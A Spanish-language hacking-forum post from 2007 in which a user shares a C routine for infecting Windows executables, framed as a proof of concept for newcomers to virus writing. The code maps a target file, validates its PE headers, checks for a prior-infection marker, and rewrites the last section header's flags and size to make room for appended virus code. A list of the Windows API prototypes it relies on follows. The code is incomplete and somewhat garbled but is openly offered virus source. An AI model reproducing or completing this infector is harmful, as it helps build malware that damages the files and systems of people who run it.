Normas del foro
Bienvenido(a),
Visitante
. Favor de
ingresar
o
registrarse
.
¿Perdiste tu
email de activación?
- Diciembre 05, 2008, 06:49:52
Visita:
Articulos
-
Juegos Gratis
-
Da Foros
Comunidad Underground Hispana
|
Programacion
|
Programación
|
Carbide C/C#/C++
(Moderador:
Fashion
) | Tema:
infeccion de ficheros (demostracion practica)
0 Usuarios y 1 Visitante están viendo este tema.
« anterior
próximo »
Páginas:
[
1
]
Autor
Tema: infeccion de ficheros (demostracion practica) (Leído 150 veces)
codelogman
Visitante
infeccion de ficheros (demostracion practica)
«
en:
Agosto 07, 2007, 11:05:39 »
Modulo para infectar ficheros al estilo de un W32, prueba de concepto para aquellos que empiecen en la scene de vx.
void _InfectFile(char *szFile)
{
int OldAttr;
void *hFile;
void *hMapFile;
unsigned long ulSize;
unsigned long *ulAddress;
unsigned long ulEP;
unsigned long ulFileAl;
unsigned long ulBase;
//unsigned long ulCalc;
FILETIME lpCreationTime,lpAccessTime,lpWriteTime;
OldAttr = _GetFileAttributes(szFile);
if(_SetFileAttributes(szFile,0x80))
{
printf("attributes setted...\n");
if((int)(hFile=_CreateFile(szFile,0x80000000|0x40000000,0x0,0x0,0x3,0x0,0x0))!=-1)
{
printf("File created ..\n");
_GetFileTime(hFile,&lpCreationTime,&lpAccessTime,&lpWriteTime);
ulSize = _GetFileSize(hFile,0x0);
if(hMapFile = _CreateFileMapping(hFile,0x0,0x4,0x0,ulSize,0x0))
{
printf("Map created ... \n");
if(ulBase = (UL)ulAddress = (UL)(UL*)_MapViewOfFile(hMapFile,0x2,0x0,0x0,0x0))
{
printf("ulAddress created at %s ...\n",ulAddress);
if(*ulAddress == 0x905A4D)
{
printf("ulAddress == 0x905A4D ... \n");
if(*(UL*)(ulAddress+0x38) == 0x5658)
{
return;
}
(UL)ulAddress = *(UL*)((UL)ulAddress+0x3C)+(UL)ulBase;
printf("ulAddress set to %s .. \n",ulAddress);
if(*ulAddress == 0x00004550)
{
printf("ulAddress == 0x00004550 ... \n");
if((*(UL*)((UL)ulAddress+0x16)) & 0x002 &&
(*(UL*)((UL)ulAddress+0x16)) & 0x100 &&
!((*(UL*)((UL)ulAddress+0x16)) & 0x2000 &&
!((*(UL*)((UL)ulAddress+0x16)) & 0x1000)))
{
printf("File mask valid ... \n");
ulEP = *(UL*)((UL)ulAddress + 0x28)+ulBase;
ulFileAl = *(UL*)((UL)ulAddress + 0x3C);
(UL)ulAddress+=(((short)*(UL*)((UL)ulAddress+0x74))<<3)+((((short)*(UL*)((UL)ulAddress+0x6))-1)*0x28)+0x78;
*(UL*)((UL)ulAddress+0x24) = 0x00000020 | 0x20000000 | 0x80000000;
*(UL*)((UL)ulAddress+0x8) = *(UL*)((UL)ulAddress+0x8) + (UL)VirSize;
}
}
}
printf("Passing W32Binary module for loan .. \n");
}
}
}
}
}
Prototipos necesarios:
fLoadLibraryA _LoadLibrary;
fMessageBoxA _MessageBox;
fCreateFileA _CreateFile;
fGetFileAttributesA _GetFileAttributes;
fSetFileAttributesA _SetFileAttributes;
fGetFileTime _GetFileTime;
fGetFileSize _GetFileSize;
fCreateFileMappingA _CreateFileMapping;
fMapViewOfFile _MapViewOfFile;
fFindFirstFileA _FindFirstFile;
fFindNextFileA _FindNextFile;
fFindClose _FindClose;
fSetCurrentDirectory _SetCurrentDirectory;
tomados de windows base compiler (librerias estandar de windows).
saludos
En línea
Páginas:
[
1
]
Comunidad Underground Hispana
|
Programacion
|
Programación
|
Carbide C/C#/C++
(Moderador:
Fashion
) | Tema:
infeccion de ficheros (demostracion practica)
« anterior
próximo »
Ir a:
Por favor selecciona un destino:
-----------------------------
Foros De Consulta General
-----------------------------
=> Novedades
=> Dudas, Comentarios Y Sugerencias
=> Top 100
=> Off-Topic
=> Revista E-Zine
===> Noticias
-----------------------------
Phreaking, Hacking y Seguridad
-----------------------------
=> HacK GeneraL
===> Ingenieria Inversa
===> Encriptacion, Cryptografia
===> TV HACK
===> Cursos y Ezines
=====> Trucos Internet
=====> Textos Hacking
===> Defacing
=> Seguridad
=> Phreaking
===> Moviles
=> Bug y Exploits
===> Directorio de Exploits
=> Wargames, Retos Hack
-----------------------------
Hack Novato
-----------------------------
=> Hack para newbies
=> Todo Messenger
=> Troyanos y virus
-----------------------------
Sistemas Operativos
-----------------------------
=> Windows y otros sistemas operativos no libres
===> Problemas Tecnicos Windows
=> Sistemas operativos libres.
===> GNU/Linux
===> Manuales y Tutoriales
===> Descargas
-----------------------------
Programacion
-----------------------------
=> Programación
===> Programación Basica
===> Otros Lenguajes
===> Visual Basic y Net
===> ASM
===> Programacion Shell
===> Perl
===> Carbide C/C#/C++
===> Batch
===> SQL
=> Programacion para webmasters
===> Consultas Generales
===> Php
===> Html, XHTML, CSS
===> Java - Java Script
===> CMS O Scripts Pre-Fabricados
===> Posicionamiento en buscadores
-----------------------------
Artes Graficas
-----------------------------
=> Diseño Grafico
===> Battle Arts
===> Flash
===> Tutoriales
===> Galerías
===> Software
-----------------------------
Area Tecnica
-----------------------------
=> Networking & Wireless
=> Overclocking, Refrigeracion y demas
=> Hardware
===> Biblioteca Tecnica
=> Electronica Y Robotica
-----------------------------
Programas
-----------------------------
=> Software
===> Configuraciones de software
===> Pedidos de software
=> Cracks & Serialz
=> P2p, Bittorrent, Elinks
-----------------------------
Multimedia Y Divx
-----------------------------
=> Juegos PC Y Consolas
===> Dudas ayudas y comentarios de juegos
===> Pedidos de juegos
===> Juegos de Consola
=> Mp3
=> Multimedia
=> Peliculas Divx
-----------------------------
Entretenimiento Y sitios de interes
-----------------------------
=> Juegos, Humor y Adultos. (Diversión)
=> Paginas Webs Recomendadas
=> Videos
Powered by SMF 1.1.7
|
SMF © 2006-2007, Simple Machines LLC
Loading...